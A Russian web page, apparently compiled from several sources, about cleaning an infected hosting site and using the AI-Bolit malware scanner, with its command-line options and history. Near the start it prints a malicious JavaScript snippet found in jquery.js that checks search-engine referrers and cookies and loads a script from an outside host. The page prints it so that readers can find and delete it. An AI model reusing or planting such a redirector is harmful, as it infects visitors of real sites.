Как запустить ai bolit на хостинге. AI-Bolit - эффективный сканер вирусов и другого вредоносного кода на хостинге

Сегодня ко мне обратились за помощью в очистки интернет магазина от вирусов. Неожиданно для одного из сотрудников пришёл отказ в рекламе Google Adwords. В письме указали, что в файле jquery.js прописан подозрительный код.

В первую очередь я с помощью браузера открыл путь к данном файлу, но антивирус Avast никак не среагировал на данный файл, хотя зрительно я уже видел вредоносный код. Затем я соединился по ftp с помощью FileZilla и попробовал открыть файл с помощью программы Notepad++ . И вот тут мой антивирус заблокировал доступ к данному файлу.

Чтобы почистить js файл от вируса, мне пришлось на 10 минут отключить AVAST, а затем удалить из файла вредоносные строчки.

Если вы столкнулись с подобной проблемой, удалите следующий код как показано на картинке, или вот эти строки.

Var r=document.referrer; var c=document.cookie; r1=0; if ((r.indexOf("yandex")>0) || (r.indexOf("google")>0) || (r.indexOf("rambler")>0) || (r.indexOf("mail")>0)) { document.cookie = "__ga1=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; } else {if (c.indexOf("__ga1")==-1){document.cookie = "__ga2=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;";}} if (((c.indexOf("__ga1")>-1) || (r1==1)) && (c.indexOf("__ga2")==-1)) {document.write(unescape("%3Cscript src="http://google-analyzing.com/urchin.js" type="text/javascript"%3E%3C/script%3E"));}

Бэкап сайта.

Далее соединяемся по ssh доступу, например с помощью утилиты putty и по возможности делаем архив сайта. Для этого достаточно в консоли воспользоваться следующим командой:

tar - cf backup .tar /home/логин/site/public_html


*/home/логин/site/public_html - полный путь до главной директории сайта

Бэкап сайта можно и не делать, но мало ли вы удалите что-то важное?

Теперь есть два варианта проверки сайта на вирусы

1. Проверка сайта с помощью php скрипта Ai-Bolit, который ищет различные вирусы а так же php shell.

2. Скачать весь сайт к себе на компьютер и прогнать антивирусом Avast, но первый вариант значительно лучше, удобней, и значительно качественней.

Очистка сайта на локальном компьютере

Сначала я воспользовался вторым способом, поэтому опишу именно его. После того как на компьютер были выкачены все файлы (или архив), а их немного не мало 25 000, я открыл Avast и указал папку с файлами сайта для их проверки на вредоносные скрипты.

После того как Avast выполнил проверку в папке с файлами веб-сайта были обнаружены два скриптовых вируса:

  • Php-Shell-Jv
  • Js-Redirector-Fc

Файл index.php состоял из следующего кода:

В файле javascript "ui.datepicker_old.js" был вредоносный код в самом низу содержания скрипта. Этот код необходимо удалить!

Очистка сайта от вирусов с помощью Ai-Bolit.

Ftp способ.

1. Загружаем архив со скриптом Айболит на локальный компьютер и распаковываем его.

2. Соединяемся по ftp с помощью клиента FileZilla

3. Распакованные файлы архива размещаем в главную директорию сайта /home/ваш сайт/public_html

4. Запускаем скрипт http://ваш домен/ai-bolit.php

5. Файл отчёта будет создан в главной директории с именем AI-BOLIT-REPORT.html

Если после запуска скрипта отображается чистый белый экран, значит версия php на сервере хостера не подходит для Айболита.

Внимание! Если необходимо проверить все сайты в директории, загружаем скрипт в папку /home/domains/ или /home/ , тогда Ai-Bolit рекурсивно пройдётся по всем папкам, и выдаст отчёт, но как мне кажется лучше проверять по одному домену.

Консольный вариант (SSH)

1. Запускаем программу Putty, или другую консольную программу.

2. Соединяемся с сервером по хосту и паролю.

3. Переходим в главную директорию сайта командой cd /home/ваш логин/ваш сайт/public_html/

4. Загружаем скрипт командой wget http://www..zip

5. Распаковываем zip архив командой unzip 20160904_112415ai-bolit.zip

6. Запускаем скрипт php ai-bolit.php

Для запуска в фоновом режиме используем команду: screen -d -m php ai-bolit.php

7. Ждём пока что скрипт выполнит проверку, и создаст отчёт вида "AI-BOLIT-REPORT.html " на сервере.

Так же обратите внимание, если на вашем сервере установлен php ниже 5.3, Айболит покажет ошибку и не запустит сканирование. В моём случае пришлось выкачивать сайт, и проверять его на своём сервере.

После того как на сервере будет создан файла отчёта, его можно скачать к себе на компьютер и посмотреть обычным браузером (Хром, Файерфокс, и т.д).

В первую очередь стоит обратить внимание на отчёт о "Вредоносных скриптах", ну а дальше либо аккуратно удалять эти файлы, либо чистить ручным способом, как это делаю я.

Неприятные ситуации застают нас врасплох. Порой, некоторые пользователи устанавливают на свои сайты программное обеспечение, которое имеет уязвимости . Или же злоумышленники находят «дыры» в программном обеспечении, которое свободно распространяется. После обнаружения таких «дыр» хакеры начинают эксплуатировать аккаунт жертвы и внедрять на сайт вредный программный код, всяческие хакерские шеллы, бэкдоры, спам-рассыльщики и другие вредоносные скрипты.

Увы, некоторые пользователи вовремя не обновляют программное обеспечения на своих сайтах и становятся жертвами таких злоумышленников

Суть проблемы

Наше серверное программное обеспечение в большинстве случаев идентифицирует вредную нагрузку и автоматически ликвидирует «плохую» активность.

Что конкретно делает вредное программное обеспечение? Очень разные вещи: рассылает спам, участвует в атаках на другие ресурсы и прочее… Одним из ярких примеров таких вирусов является «MAYHEM - многоцелевой бот для *NIX-серверов». Об этом вирусе, например, очень популярно объясняют специалисты компании Яндекс в своем блоге или

Hostland постоянно радует своих клиентов новым инструментарием для борьбы с вирусами!

Мы представляем вам очень удобный и бесплатный инструмент для поиска вирусов, вредоносных и хакерских скриптов на вашем аккаунте, шеллов по сигнатурам и гибким паттернам, шеллов на основе несложной эвристики - все то, что обычные антивирусы и сканеры найти не могут.

Мы представляем своим пользователя «AI-Bolit » от компании «Ревизиум»

Возможности сканера AI-Bolit:

  • Поиск хакерских php и perl скриптов (шеллов, бэкдоров), вирусных вставок, дорвеев, спам-рассыльщиков, скриптов по продаже ссылок, скриптов клоакинга и других типов вредоносных скриптов. Поиск по шаблонам и регулярным выражениям, а также использование несложных эвристик для определения потенциально-вредоносного кода
  • Поиск скриптов с критическими уязвимостями (timthumb.php, uploadify, fckeditor, phpmyadmin, и других)
  • Поиск скриптов, которые не характерны для сайтов на php (.sh, .pl, .so и др)
  • Поиск сигнатур в зашифрованных, фрагментированных текстовых блоках и закодированных hex/oct/dec последовательностях
  • Поиск подозрительных файлов с конструкциями, которые применяются во вредоносных скриптах
  • Поиск скрытых ссылок в файлах
  • Поиск символических ссылок
  • Поиск кода поисковых и мобильных редиректов
  • Поиск подключений вида auto_prepend_file/auto_append_file, AddHandler
  • Поиск iframe вставок
  • Определение версии и типа cms
  • Поиск скрытых файлов
  • Поиск.php файлов с двойными расширениями, .php файлов, загруженных как GIF картинка
  • Поиск дорвеев и каталогов, содержащих подозрительно большое число php/html файлов
  • Поиск исполняемых двоичных файлов
  • Удобная фильтрация и сортировка списков файлов в отчете
  • Интерфейс на русском языке

Что еще важно знать?

Если на вашем аккаунте с помощью «AI-Bolit» было найдено зловредное программное обеспечение, то просто удалив эти файлы вы не решите проблемы уязвимости вашего сайта.

Вам необходимо выяснить, как хакер смог внедрить «плохой» скрипт к вам на сайт, найти «дыру» в своем программном обеспечении. Иногда для этого необходимо поменять пароли к FTP доступу, обновить «движок сайта», иногда необходимо изучить лог файлы сервера (если они выключены - включить их), иногда же нужно привлечь стороннего специалиста по безопасности.

А весь комплекс вышеуказанных мер будет наилучшим подспорьем в решении проблемы безопасности вашего сайта!

Невозможно гарантировать обнаружение всех вредоносных скриптов. Поэтому разработчик сканера и хостинг провайдер не несет ответственности за возможные последствия ложных срабатываний при работе сканера AI-Bolit или неоправданные ожидания пользователей относительно функциональности и возможностей.

Замечания и предложения по работе скрипта, а также не обнаруженные вредоносные скрипты вы можете присылать на [email protected].

Наибольший функционал доступен при запуске сканера AI-BOLIT в режиме командной строки. Это можно делать как под Windows/Unix/Mac OS X, так и непосредственно на хостинге, если у вас есть доступ по SSH и хостинг не сильно ограничивает потребляемые ресурсы процессора.

Обращаем внимание, что для запуска сканера требуется консольная версия PHP 7.1 и выше. Более ранние версии официально не поддерживаются. Проверьте текущую версию командой php -v

Справка по параметрам командной строки сканера AI-BOLIT

Показать помощь

php ai-bolit.php --help

php ai-bolit.php --skip=jpg,png,gif,jpeg,JPG,PNG,GIF,bmp,xml,zip,rar,css,avi,mov

Просканировать только определенные расширения

php ai-bolit.php --scan=php,php5,pht,phtml,pl,cgi,htaccess,suspected,tpl

Подготовить файл карантина для отправки специалистам по безопасности. Будет создан архив AI-QUARANTINE-XXXX.zip с паролем.

php ai-bolit.php --quarantine

Запустить сканер в режиме "параноидальный" (рекомендуется для получения максимально-детализированного отчета)

php ai-bolit.php --mode=2

php ai-bolit.php --mode=1

Проверить один файл "pms.db" на вредоносный код

php ai-bolit.php -jpms.db

Запустить сканер с размером памяти 512Mb

php ai-bolit.php --memory=512M

Установить максимальный размер проверяемого файла 900Kb

php ai-bolit.php --size=900K

Делать паузу 500ms между файлами при сканировании (для снижения нагрузки)

php ai-bolit.php --delay=500

Отправить отчет о сканировании на email [email protected]

php ai-bolit.php [email protected]

Создать отчет в файле /home/scanned/report_site1.html

php ai-bolit.php --report=/home/scanned/report_site1.html

Просканировать директорию /home/s/site1/public_html/ (отчет по-умолчанию будет создан в ней же, если не задана опция --report=файл_отчета)

php ai-bolit.php --path=/home/s/site1/public_html/

Выполнить команду по завершении сканирования.

php ai-bolit.php --cmd="~/postprocess.sh"

Получить отчет в текстовом виде (plain-text) с именем site1.txt

php ai-bolit.php -lsite1.txt

Можно комбинировать вызовы, например,

php ai-bolit.php --size=300K --path=/home/s/site1/public_html/ --mode=2 --scan=php,phtml,pht,php5,pl,cgi,suspected

Комбинируя вызов сканера AI-BOLIT c другими командами unix, можно выполнять, например, пакетную проверку сайтов. Ниже приведем пример проверки нескольких сайтов, размещенных внутри аккаунта. Например, если сайты размещены внутри директории /var/www/user1/data/www, то команда на запуск сканера будет

find /var/www/user1/data/www -maxdepth 1 -type d -exec php ai-bolit.php --path={} --mode=2 \;

Добавив параметр --report можно управлять каталогом, в котором будут создаваться отчеты о сканировании.

php ai-bolit.php список параметров … --eng

Переключить интерфейс отчета на английский. Данный параметр должен идти последним.

Интеграция с другими сервисами и в панель хостинга

php ai-bolit.php --json_report=/path/file.json

Cформировать отчет в формате json

php ai-bolit.php --progress=/path/progress.json

Cохранять статус проверки в файл в формате json. Данный файл будет содержать структурированные данные в формате json: текущий файл проверки, сколько файлов проверено, сколько файлов осталось проверить, процент проверки, время до завершения сканирования. Данный механизм можно использовать, чтобы в панели показывать прогресс-бар и данные о проверяемых файлах. По завершении сканирования файл удаляется автоматически.

php ai-bolit.php --handler=/path/hander.php

Внешний обработчик событий. Вы можете добавить собственные обработчики начала/завершения сканирования/прогресса сканирования/ошибки сканирования. Пример файла можно посмотреть в архиве сканера, в каталоге tools/handler.php. Например, по завершении сканирования можно что-то сделать с файлом отчета (отправить по почте, запаковать в архив и пр).

AI-Bolit - это продвинутый бесплатный сканер бэкдоров, хакерских шеллов, вирусов и дорвеев. Скрипт умеет искать вредоносный и подозрительный код в скриптах, определяет спам-ссылки, показывает версию CMS и критические для безопасности сервера настройки.

Эффективность работы сканера заключается в использовании паттернов и эвристики, а не обычного поиска по хешу.

История создания

В настоящий момент рынок антивирусного ПО для персональных компьютеров чрезвычайно развит: на слуху решения от Касперского, Dr.Web, McAfee, Norton, Avast и прочих. Со сканерами вирусов и вредоносного кода для сайтов все не так радужно. Системные администраторы и владельцы сайтов, озабоченные проблемой поиска вредоносного кода на своих серверах, вынуждены использовать самописные скрипты, которые ищут вирусы и шеллы по определенным фрагментам, собранным ранее. Так же поступал и я. С клиентских сайтов собирал шеллы, вирусы, бэкдоры, коды редиректов и постепенно формировал базу сигнатур вредоносного кода. А чтобы ее было удобно использовать, написал небольшой скрипт на PHP.

Постепенно сканер обрастал полезной функциональностью, и наконец стало очевидно, что он может быть полезен не только мне.
В апреле 2012 года я анонсировал скрипт AI-Bolit на нескольких форумах, а спустя полгода он стал основным средством поиска вредоносного кода у веб-мастеров и админов хостингов. Что касается суммарной статистики, то за полтора года скрипт скачали более 64 тысяч раз. А еще на скрипт получено авторское свидетельство в Роспатенте.

Особенности сканера

Основное отличие AI-Bolit от существующих на сегодняшний день сканеров вирусов и вредоносного кода на сервере - это использование паттернов в качестве вирусных сигнатур. Поиск вредоносного кода происходит по базе регулярных выражений, а не хешу или контрольным суммам, что позволяет выявлять даже модифицированные и обфусцированные шеллы, вставленные в шаблоны или скрипты CMS.

Сканер может работать в режиме быстрого сканирования (только по PHP-, HTML, JS-, htaccess-файлам), в режиме «эксперта», исключать директории и файлы по маске. А также имеет большую базу CRC white-листов популярных CMS, что значительно сокращает количество ложных срабатываний.

В настоящий момент в базе сканера более 700 сигнатур вредоносных скриптов. Сигнатуры представляют собой регулярные выражения, что позволяет находить, например, вот такие обфусцированные шеллы и бэкдоры, которые ни LMD с ClamAV, ни уж тем более десктопные антивирусы не находят:

Базу сигнатур регулярно пополняют новыми найденными образцами как специалисты из «Ревизиума», так и пользователи скрипта, что позволяет поддерживать сканер в актуальном состоянии.

Интерфейс AI-Bolit

Интерфейс AI-Bolit очень прост. Это PHP-скрипт, который может работать в режиме командной строки через PHP CLI или открываться в браузере с URL http://сайт/ai-bolit.php?p=пароль.

Результатом работы скрипта является отчет, состоящий из четырех секций:

  1. Статистика и общая информация о скрипте.
  2. Красная секция критических замечаний со списком найденных шеллов, вирусов и другого вредоносного кода (или похожих на вредоносный код фрагментов).
  3. Оранжевая секция предупреждений (подозрительные фрагменты кода, которые часто используются в хакерских инструментах).
  4. Синяя секция рекомендаций (список открытых на запись каталогов, настройки PHP и прочее).

Пользователь анализирует полученный отчет, просматривая сниппеты, находит и удаляет вредоносные скрипты и фрагменты кода вручную с помощью инструментов командной строки или программ поиска и замены строк в файлах.

Основная проблема, c которой обычно сталкивается разработчик сканера вирусов, - это поиск золотой середины между «параноидальностью» (чувствительностью) сканера и числом ложных срабатываний. Если для поиска вредоносного кода использовать только фиксированные строки, то эффективность сканера становится низкой, так как не будут найдены обфусцированные фрагменты, код с пробелами и табуляциями, хитро отформатированный код. Если же искать по гибким паттернам, то высока вероятность ложных срабатываний, когда гарантированно безопасные скрипты отмечаются как вредоносные.

В AI-Bolit я решаю данную проблему с помощью использования двух режимов работы («обычный»/«экспертный») и white-листов для известных CMS.

Будущее AI-Bolit

В планах по развитию скрипта - большое количество полезных фич и интеграция с другими антивирусными решениями. Один из ключевых моментов - это интеграция AI-Bolit с базами ClamAV и LMD. Так AI-BOLIT сможет искать руткиты и шеллы еще и по контрольным суммам.

Вторая важная вещь в очереди на имплементацию - это удобный интерфейс для анализа табличных отчетов с поиском и гибкими фильтрами. Можно будет отсеивать найденные файлы по расширениям, сортировать по размеру, контрольным суммам и так далее.

Третьим пунктом стоит реализация асинхронного сканирования с помощью AJAX, что позволит решить проблему проверки сайтов, размещенных на слабых хостингах, на которых ограничено потребление CPU или время работы скрипта. В настоящий момент это решается только сканированием копии сайта локально или на другом, более мощном сервере. Ну и конечно, постоянные обновления баз сигнатур вредоносного кода.

В заключение

Код скрипта открыт, размещен на GitHub, поэтому любой желающий может внести свой вклад в развитие данного проекта. Ваши предложения и пожелания присылайте мне на [email protected] .